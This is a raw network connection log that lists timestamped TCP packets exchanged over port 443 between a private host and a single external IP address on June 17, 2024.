Jun 17, 2024 16:18:48.348021030 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.348046064 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.348064899 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.348114967 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.348131895 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.348184109 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.348196983 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.348304033 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.355001926 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369168997 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369189024 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369230986 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369242907 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369292021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369292021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369575977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369599104 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369640112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369671106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369690895 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369695902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369714022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369721889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369733095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369762897 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369796991 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369858980 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369879007 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369923115 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.369936943 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.369981050 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370069027 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370085955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370107889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370147943 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370160103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370218992 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370366096 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370388985 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370420933 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370431900 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370451927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370457888 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370475054 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370475054 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370488882 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.370508909 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.370538950 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371083975 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371100903 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371140003 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371143103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371153116 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371172905 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371175051 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371193886 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371212959 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371222973 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371254921 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371254921 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371360064 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371375084 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371412039 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371423006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371449947 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371465921 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371562958 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371578932 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371611118 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371622086 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371646881 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371665955 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371678114 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371697903 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371730089 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371741056 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371768951 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371786118 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371853113 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371869087 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371906996 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371917963 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.371942997 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.371959925 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.372112989 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.372129917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.372168064 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.372179985 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.372205019 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.372235060 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.380837917 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.445730925 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.445746899 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.445770025 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.445811987 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.445816994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.445838928 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.445852995 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.445868969 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.445947886 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.445960999 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446011066 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446019888 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446186066 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446204901 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446230888 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446235895 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446253061 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446266890 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446301937 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446306944 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446326017 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446424007 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446440935 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446463108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446470976 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446487904 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446569920 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446588039 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446643114 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446644068 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446650982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446779013 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446795940 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446829081 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446834087 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446877003 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446933031 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446947098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.446980000 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.446985960 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.447000980 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.447047949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.447067022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.447093010 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.447101116 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.447163105 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448277950 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448291063 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448340893 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448347092 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448370934 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448419094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448436975 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448463917 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448471069 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448503971 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448559999 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448573112 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448616982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448617935 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448626041 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448656082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448656082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448659897 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448681116 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448690891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.448702097 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448714018 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.448734045 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449192047 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449204922 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449246883 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449253082 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449297905 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449512959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449528933 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449594975 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449594975 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449600935 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449677944 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449697971 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449724913 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449724913 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449732065 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449752092 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449779034 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449865103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449881077 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449919939 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449924946 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449934959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449945927 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449954033 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.449970007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.449974060 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450004101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450033903 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450095892 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450109005 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450144053 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450149059 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450161934 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450186014 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450333118 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450345993 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450397968 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450404882 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450444937 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450583935 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450603008 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450653076 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450659037 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450670958 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450687885 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450697899 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450702906 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450732946 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450759888 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450916052 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450928926 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.450970888 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.450977087 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451013088 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451081038 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451096058 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451124907 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451131105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451143980 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451167107 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451296091 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451309919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451340914 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451345921 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451375961 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451385021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451531887 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451549053 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451581001 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451586962 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451603889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451634884 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451674938 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451689005 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451719046 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451725006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451750040 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451767921 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451868057 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451883078 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451946974 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451946974 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.451952934 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.451984882 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.452626944 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.452641964 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.452678919 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.452686071 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.452716112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.452716112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453013897 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453028917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453066111 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453072071 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453090906 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453108072 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453465939 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453480959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453519106 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453526020 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453541994 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453558922 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453680038 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453694105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453722954 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453730106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453747988 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453838110 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453847885 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453855991 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453866005 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.453886986 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.453916073 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454054117 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454068899 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454102993 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454130888 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454135895 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454164982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454176903 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454183102 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454197884 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454220057 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454225063 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454251051 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454263926 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454298973 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454315901 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454344988 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454350948 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.454376936 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.454395056 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455058098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455073118 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455132008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455147028 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455182076 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455326080 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455338955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455368996 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455379009 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455403090 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455419064 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455446005 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455460072 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455485106 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455493927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.455514908 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.455532074 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456199884 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456214905 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456250906 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456262112 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456275940 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456290960 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456517935 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456533909 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456566095 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456574917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456593990 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456605911 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456643105 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456657887 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456684113 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456691980 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456712961 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456729889 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456870079 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456883907 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456908941 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456918001 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.456933975 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.456950903 CEST	49732	443	192.168.2.4	188.114.96.3
